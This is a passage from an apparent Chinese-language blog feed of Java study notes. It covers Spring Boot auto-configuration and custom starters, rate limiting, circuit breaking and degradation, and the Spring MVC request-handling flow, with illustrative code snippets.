     </span><br><span class="line">        <span class="comment">// 2. 返回配置类列表</span></span><br><span class="line">        <span class="keyword">return</span> StringUtils.toStringArray(autoConfigurationEntry.getConfigurations());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="读取-spring-factories"><a href="#读取-spring-factories" class="headerlink" title="读取 spring.factories"></a>读取 spring.factories</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> List&lt;String&gt; <span class="title function_">getCandidateConfigurations</span><span class="params">(AnnotationMetadata metadata, </span></span><br><span class="line"><span class="params">                                                   AnnotationAttributes attributes)</span> &#123;</span><br><span class="line">    <span class="comment">// 从 META-INF/spring.factories 读取</span></span><br><span class="line">    List&lt;String&gt; configurations = SpringFactoriesLoader.loadFactoryNames(</span><br><span class="line">        getSpringFactoriesLoaderFactoryClass(), getBeanClassLoader());</span><br><span class="line">    </span><br><span class="line">    Assert.notEmpty(configurations,</span><br><span class="line">        <span class="string">&quot;No auto configuration classes found in META-INF/spring.factories&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> configurations;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>spring.factories 示例</strong>：</p><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="comment"># META-INF/spring.factories</span></span><br><span class="line"><span class="attr">org.springframework.boot.autoconfigure.EnableAutoConfiguration</span>=<span class="string">\</span></span><br><span class="line"><span class="string">com.example.MyAutoConfiguration,\</span></span><br><span class="line"><span class="string">com.example.OtherAutoConfiguration</span></span><br></pre></td></tr></table></figure><h3 id="过滤配置类"><a href="#过滤配置类" class="headerlink" title="过滤配置类"></a>过滤配置类</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> AutoConfigurationEntry <span class="title function_">getAutoConfigurationEntry</span><span class="params">(AnnotationMetadata metadata)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 读取所有候选配置</span></span><br><span class="line">    List&lt;String&gt; configurations = getCandidateConfigurations(metadata, attributes);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 去重</span></span><br><span class="line">    configurations = removeDuplicates(configurations);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 排除指定配置</span></span><br><span class="line">    Set&lt;String&gt; exclusions = getExclusions(metadata, attributes);</span><br><span class="line">    configurations.removeAll(exclusions);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 4. 条件过滤（@ConditionalOnXxx）</span></span><br><span class="line">    configurations = getConfigurationClassFilter().filter(configurations);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 5. 触发自动配置导入事件</span></span><br><span class="line">    fireAutoConfigurationImportEvents(configurations, exclusions);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">AutoConfigurationEntry</span>(configurations, exclusions);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="条件注解"><a href="#条件注解" class="headerlink" title="条件注解"></a>条件注解</h2><h3 id="常用条件注解"><a href="#常用条件注解" class="headerlink" title="常用条件注解"></a>常用条件注解</h3><table><thead><tr><th>注解</th><th>条件</th></tr></thead><tbody><tr><td>@ConditionalOnClass</td><td>classpath 中存在指定类</td></tr><tr><td>@ConditionalOnMissingClass</td><td>classpath 中不存在指定类</td></tr><tr><td>@ConditionalOnBean</td><td>容器中存在指定 Bean</td></tr><tr><td>@ConditionalOnMissingBean</td><td>容器中不存在指定 Bean</td></tr><tr><td>@ConditionalOnProperty</td><td>指定属性满足条件</td></tr><tr><td>@ConditionalOnResource</td><td>存在指定资源</td></tr><tr><td>@ConditionalOnWebApplication</td><td>是 Web 应用</td></tr><tr><td>@ConditionalOnExpression</td><td>SpEL 表达式为 true</td></tr></tbody></table><h3 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@ConditionalOnClass(DataSource.class)</span>  <span class="comment">// classpath 有 DataSource</span></span><br><span class="line"><span class="meta">@ConditionalOnMissingBean(DataSource.class)</span>  <span class="comment">// 容器中没有 DataSource Bean</span></span><br><span class="line"><span class="meta">@EnableConfigurationProperties(DataSourceProperties.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceAutoConfiguration</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean</span>  <span class="comment">// 用户没定义时才创建</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">dataSource</span><span class="params">(DataSourceProperties properties)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> DataSourceBuilder.create()</span><br><span class="line">            .url(properties.getUrl())</span><br><span class="line">            .username(properties.getUsername())</span><br><span class="line">            .password(properties.getPassword())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自定义-Starter"><a href="#自定义-Starter" class="headerlink" title="自定义 Starter"></a>自定义 Starter</h2><h3 id="创建步骤"><a href="#创建步骤" class="headerlink" title="创建步骤"></a>创建步骤</h3><h4 id="1-创建自动配置类"><a href="#1-创建自动配置类" class="headerlink" title="1. 创建自动配置类"></a>1. 创建自动配置类</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@ConditionalOnClass(MyService.class)</span></span><br><span class="line"><span class="meta">@EnableConfigurationProperties(MyProperties.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyAutoConfiguration</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingBean</span></span><br><span class="line">    <span class="keyword">public</span> MyService <span class="title function_">myService</span><span class="params">(MyProperties properties)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MyService</span>(properties.getName());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-创建配置属性类"><a href="#2-创建配置属性类" class="headerlink" title="2. 创建配置属性类"></a>2. 创建配置属性类</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;my.service&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyProperties</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;default&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">enabled</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// getter/setter</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-创建-spring-factories"><a href="#3-创建-spring-factories" class="headerlink" title="3. 创建 spring.factories"></a>3. 创建 spring.factories</h4><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="comment"># META-INF/spring.factories</span></span><br><span class="line"><span class="attr">org.springframework.boot.autoconfigure.EnableAutoConfiguration</span>=<span class="string">\</span></span><br><span class="line"><span class="string">com.example.autoconfigure.MyAutoConfiguration</span></span><br></pre></td></tr></table></figure><h4 id="4-使用-Starter"><a href="#4-使用-Starter" class="headerlink" title="4. 使用 Starter"></a>4. 使用 Starter</h4><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.example<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>my-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">my:</span></span><br><span class="line">  <span class="attr">service:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">myApp</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h2 id="自动配置报告"><a href="#自动配置报告" class="headerlink" title="自动配置报告"></a>自动配置报告</h2><h3 id="查看生效的自动配置"><a href="#查看生效的自动配置" class="headerlink" title="查看生效的自动配置"></a>查看生效的自动配置</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 开启 DEBUG 日志</span></span><br><span class="line">logging.level.org.springframework.boot.autoconfigure=DEBUG</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或使用 --debug</span></span><br><span class="line">java -jar app.jar --debug</span><br></pre></td></tr></table></figure><h3 id="自动配置报告-1"><a href="#自动配置报告-1" class="headerlink" title="自动配置报告"></a>自动配置报告</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Positive matches:</span><br><span class="line">-----------------</span><br><span class="line">   DataSourceAutoConfiguration matched:</span><br><span class="line">      - @ConditionalOnClass found required classes &#x27;DataSource&#x27;, ...</span><br><span class="line">      - @ConditionalOnMissingBean (types: DataSource; SearchStrategy: all) did not find any beans</span><br><span class="line"></span><br><span class="line">Negative matches:</span><br><span class="line">-----------------</span><br><span class="line">   ActiveMQAutoConfiguration:</span><br><span class="line">      Did not match:</span><br><span class="line">         - @ConditionalOnClass did not find required class &#x27;javax.jms.ConnectionFactory&#x27;</span><br></pre></td></tr></table></figure><h2 id="排除自动配置"><a href="#排除自动配置" class="headerlink" title="排除自动配置"></a>排除自动配置</h2><h3 id="方式1：注解排除"><a href="#方式1：注解排除" class="headerlink" title="方式1：注解排除"></a>方式1：注解排除</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootApplication(exclude = DataSourceAutoConfiguration.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Application</span> &#123; &#125;</span><br></pre></td></tr></table></figure><h3 id="方式2：配置文件排除"><a href="#方式2：配置文件排除" class="headerlink" title="方式2：配置文件排除"></a>方式2：配置文件排除</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">autoconfigure:</span></span><br><span class="line">    <span class="attr">exclude:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration</span></span><br></pre></td></tr></table></figure><h2 id="自动配置原理总结"><a href="#自动配置原理总结" class="headerlink" title="自动配置原理总结"></a>自动配置原理总结</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@SpringBootApplication</span><br><span class="line">    └── @EnableAutoConfiguration</span><br><span class="line">            └── @Import(AutoConfigurationImportSelector)</span><br><span class="line">                    └── selectImports()</span><br><span class="line">                            ├── 读取 META-INF/spring.factories</span><br><span class="line">                            ├── 加载所有 EnableAutoConfiguration 类</span><br><span class="line">                            ├── 排除指定配置</span><br><span class="line">                            └── @Conditional 过滤</span><br><span class="line">                                    ├── @ConditionalOnClass</span><br><span class="line">                                    ├── @ConditionalOnBean</span><br><span class="line">                                    └── @ConditionalOnProperty</span><br></pre></td></tr></table></figure><h2 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h2><h3 id="1-自动配置不生效"><a href="#1-自动配置不生效" class="headerlink" title="1. 自动配置不生效"></a>1. 自动配置不生效</h3><p><strong>排查</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 检查 spring.factories 路径和格式</span></span><br><span class="line"><span class="comment"># 2. 检查条件注解是否满足</span></span><br><span class="line"><span class="comment"># 3. 开启 DEBUG 查看报告</span></span><br></pre></td></tr></table></figure><h3 id="2-配置冲突"><a href="#2-配置冲突" class="headerlink" title="2. 配置冲突"></a>2. 配置冲突</h3><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="meta">@ConditionalOnMissingBean</span>  <span class="comment">// 只在用户未定义时创建</span></span><br><span class="line"><span class="keyword">public</span> MyService <span class="title function_">myService</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MyService</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-加载顺序"><a href="#3-加载顺序" class="headerlink" title="3. 加载顺序"></a>3. 加载顺序</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@AutoConfigureAfter(DataSourceAutoConfiguration.class)</span></span><br><span class="line"><span class="meta">@AutoConfigureBefore(WebMvcAutoConfiguration.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyAutoConfiguration</span> &#123; &#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Boot 自动配置的核心机制：</p><ol><li><strong>spring.factories</strong>：注册自动配置类</li><li><strong>@Conditional</strong>：条件过滤，按需加载</li><li><strong>@EnableConfigurationProperties</strong>：绑定配置</li><li><strong>@ConditionalOnMissingBean</strong>：允许用户覆盖</li></ol><p>这个设计使得 Spring Boot 项目可以做到零配置启动，同时保留充分的自定义能力。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="限流熔断降级的区别和落地"><a href="#限流熔断降级的区别和落地" class="headerlink" title="限流熔断降级的区别和落地"></a>限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring MVC请求处理流程</title>
      <link href="//spring-mvc-qing-qiu-chu-li-liu-cheng/"/>
      <url>//spring-mvc-qing-qiu-chu-li-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-MVC请求处理流程"><a href="#Spring-MVC请求处理流程" class="headerlink" title="Spring MVC请求处理流程"></a>Spring MVC请求处理流程</h1><p>Spring MVC 是基于 Servlet 的 Web 框架。理解请求处理流程，有助于自定义扩展和排查问题。</p><h2 id="核心组件"><a href="#核心组件" class="headerlink" title="核心组件"></a>核心组件</h2><table><thead><tr><th>组件</th><th>作用</th></tr></thead><tbody><tr><td>DispatcherServlet</td><td>前端控制器，统一接收请求</td></tr><tr><td>HandlerMapping</td><td>请求 -&gt; Handler 的映射</td></tr><tr><td>HandlerAdapter</td><td>适配不同的 Handler 类型</td></tr><tr><td>Handler</td><td>处理器（Controller）</td></tr><tr><td>ViewResolver</td><td>视图解析</td></tr><tr><td>View</td><td>视图渲染</td></tr></tbody></table><h2 id="请求处理流程"><a href="#请求处理流程" class="headerlink" title="请求处理流程"></a>请求处理流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">HTTP Request</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">DispatcherServlet.doDispatch()</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">1. 调用 HandlerMapping 获取 HandlerExecutionChain</span><br><span class="line">    ├── Handler（Controller 方法）</span><br><span class="line">    └── Interceptor 列表</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">2. 调用 HandlerAdapter 执行 Handler</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">3. 参数解析（HandlerMethodArgumentResolver）</span><br><span class="line">    ├── @RequestParam</span><br><span class="line">    ├── @PathVariable</span><br><span class="line">    ├── @RequestBody</span><br><span class="line">    └── ...</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">4. 执行 Controller 方法</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">5. 返回值处理（HandlerMethodReturnValueHandler）</span><br><span class="line">    ├── @ResponseBody -&gt; HttpMessageConverter</span><br><span class="line">    ├── String -&gt; View 名称</span><br><span class="line">    └── ModelAndView</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">6. 执行 Interceptor 的 postHandle</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">7. 视图解析和渲染（非 @ResponseBody）</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">8. 执行 Interceptor 的 afterCompletion</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">HTTP Response</span><br></pre></td></tr></table></figure><h2 id="DispatcherServlet-源码分析"><a href="#DispatcherServlet-源码分析" class="headerlink" title="DispatcherServlet 源码分析"></a>DispatcherServlet 源码分析</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doDispatch</span><span class="params">(HttpServletRequest request, HttpServletResponse response)</span> &#123;</span><br><span class="line">    <span class="type">HttpServletRequest</span> <span class="variable">processedRequest</span> <span class="operator">=</span> request;</span><br><span class="line">    <span class="type">HandlerExecutionChain</span> <span class="variable">mappedHandler</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">ModelAndView</span> <span class="variable">mv</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="type">Exception</span> <span class="variable">dispatchException</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 1. 检查文件上传</span></span><br><span class="line">            processedRequest = checkMultipart(request);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 获取 HandlerExecutionChain</span></span><br><span class="line">            mappedHandler = getHandler(processedRequest);</span><br><span class="line">            <span class="keyword">if</span> (mappedHandler == <span class="literal">null</span>) &#123;</span><br><span class="line">                noHandlerFound(processedRequest, response);</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. 获取 HandlerAdapter</span></span><br><span class="line">            <span class="type">HandlerAdapter</span> <span class="variable">ha</span> <span class="operator">=</span> getHandlerAdapter(mappedHandler.getHandler());</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 4. 执行 Interceptor preHandle</span></span><br><span class="line">            <span class="keyword">if</span> (!mappedHandler.applyPreHandle(processedRequest, response)) &#123;</span><br><span class="line">                <span class="keyword">return</span>;  <span class="comment">// preHandle 返回 false，中断处理</span></span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 5. 执行 Handler</span></span><br><span class="line">            mv = ha.handle(processedRequest, response, mappedHandler.getHandler());</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 6. 应用默认视图名</span></span><br><span class="line">            applyDefaultViewName(processedRequest, mv);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 7. 执行 Interceptor postHandle</span></span><br><span class="line">            mappedHandler.applyPostHandle(processedRequest, response, mv);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> (Exception ex) &#123;</span><br><span class="line">            dispatchException = ex;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 8. 处理结果（视图渲染或异常处理）</span></span><br><span class="line">        processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="comment">// 清理资源</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="HandlerMapping"><a href="#HandlerMapping" class="headerlink" title="HandlerMapping"></a>HandlerMapping</h2><h3 id="常见实现"><a href="#常见实现" class="headerlink" title="常见实现"></a>常见实现</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">HandlerMapping</span><br><span class="line">├── BeanNameUrlHandlerMapping      # 根据 Bean 名称映射（旧）</span><br><span class="line">├── SimpleUrlHandlerMapping        # 简单 URL 映射</span><br><span class="line">└── RequestMappingHandlerMapping   # @RequestMapping 注解映射（默认）</span><br></pre></td></tr></table></figure><h3 id="RequestMappingHandlerMapping"><a href="#RequestMappingHandlerMapping" class="headerlink" title="RequestMappingHandlerMapping"></a>RequestMappingHandlerMapping</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Controller</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="meta">@ResponseBody</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>映射信息存储</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 启动时扫描所有 @RequestMapping 注解</span></span><br><span class="line"><span class="comment">// 存储到 MappingRegistry</span></span><br><span class="line">Map&lt;T, HandlerMethod&gt; mappingLookup  <span class="comment">// URL -&gt; HandlerMethod</span></span><br><span class="line">Map&lt;T, MappingRegistration&lt;T&gt;&gt; registry  <span class="comment">// 完整注册信息</span></span><br></pre></td></tr></table></figure><h2 id="HandlerAdapter"><a href="#HandlerAdapter" class="headerlink" title="HandlerAdapter"></a>HandlerAdapter</h2><h3 id="常见实现-1"><a href="#常见实现-1" class="headerlink" title="常见实现"></a>常见实现</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">HandlerAdapter</span><br><span class="line">├── HttpRequestHandlerAdapter      # HttpRequestHandler</span><br><span class="line">├── SimpleControllerHandlerAdapter # Controller 接口</span><br><span class="line">├── SimpleServletHandlerAdapter    # Servlet</span><br><span class="line">└── RequestMappingHandlerAdapter   # @RequestMapping（默认）</span><br></pre></td></tr></table></figure><h3 id="RequestMappingHandlerAdapter"><a href="#RequestMappingHandlerAdapter" class="headerlink" title="RequestMappingHandlerAdapter"></a>RequestMappingHandlerAdapter</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 执行流程</span></span><br><span class="line"><span class="keyword">public</span> ModelAndView <span class="title function_">handle</span><span class="params">(HttpServletRequest request, </span></span><br><span class="line"><span class="params">                           HttpServletResponse response, </span></span><br><span class="line"><span class="params">                           Object handler)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="type">HandlerMethod</span> <span class="variable">handlerMethod</span> <span class="operator">=</span> (HandlerMethod) handler;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 创建 WebDataBinderFactory（数据绑定）</span></span><br><span class="line">    <span class="type">WebDataBinderFactory</span> <span class="variable">binderFactory</span> <span class="operator">=</span> getDataBinderFactory(handlerMethod);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 创建 ModelFactory（模型管理）</span></span><br><span class="line">    <span class="type">ModelFactory</span> <span class="variable">modelFactory</span> <span class="operator">=</span> getModelFactory(handlerMethod, binderFactory);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 解析参数</span></span><br><span class="line">    Object[] args = resolveArguments(request, handlerMethod, binderFactory);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 4. 执行方法</span></span><br><span class="line">    <span class="type">Object</span> <span class="variable">returnValue</span> <span class="operator">=</span> handlerMethod.invoke(args);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 5. 处理返回值</span></span><br><span class="line">    <span class="keyword">return</span> handleReturnValue(returnValue, handlerMethod);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="参数解析"><a href="#参数解析" class="headerlink" title="参数解析"></a>参数解析</h2><h3 id="常用参数解析器"><a href="#常用参数解析器" class="headerlink" title="常用参数解析器"></a>常用参数解析器</h3><table><thead><tr><th>注解/类型</th><th>解析器</th><th>说明</th></tr></thead><tbody><tr><td>@RequestParam</td><td>RequestParamMethodArgumentResolver</td><td>请求参数</td></tr><tr><td>@PathVariable</td><td>PathVariableMethodArgumentResolver</td><td>URL 路径变量</td></tr><tr><td>@RequestBody</td><td>RequestResponseBodyMethodProcessor</td><td>JSON/XML 反序列化</td></tr><tr><td>@ModelAttribute</td><td>ServletModelAttributeMethodProcessor</td><td>表单对象绑定</td></tr><tr><td>HttpServletRequest</td><td>ServletRequestMethodArgumentResolver</td><td>Servlet 请求</td></tr><tr><td>@RequestHeader</td><td>RequestHeaderMethodArgumentResolver</td><td>请求头</td></tr></tbody></table><h3 id="自定义参数解析器"><a href="#自定义参数解析器" class="headerlink" title="自定义参数解析器"></a>自定义参数解析器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CurrentUserArgumentResolver</span> <span class="keyword">implements</span> <span class="title class_">HandlerMethodArgumentResolver</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">supportsParameter</span><span class="params">(MethodParameter parameter)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> parameter.hasParameterAnnotation(CurrentUser.class) </span><br><span class="line">            &amp;&amp; parameter.getParameterType() == User.class;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">resolveArgument</span><span class="params">(MethodParameter parameter, </span></span><br><span class="line"><span class="params">                                  ModelAndViewContainer mavContainer,</span></span><br><span class="line"><span class="params">                                  NativeWebRequest webRequest, </span></span><br><span class="line"><span class="params">                                  WebDataBinderFactory binderFactory)</span> &#123;</span><br><span class="line">        <span class="comment">// 从 Session/Token 获取当前用户</span></span><br><span class="line">        <span class="keyword">return</span> UserContext.getCurrentUser();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 注册</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebConfig</span> <span class="keyword">implements</span> <span class="title class_">WebMvcConfigurer</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addArgumentResolvers</span><span class="params">(List&lt;HandlerMethodArgumentResolver&gt; resolvers)</span> &#123;</span><br><span class="line">        resolvers.add(<span class="keyword">new</span> <span class="title class_">CurrentUserArgumentResolver</span>());</span><br><span class="line">    &#125;</span><br><span 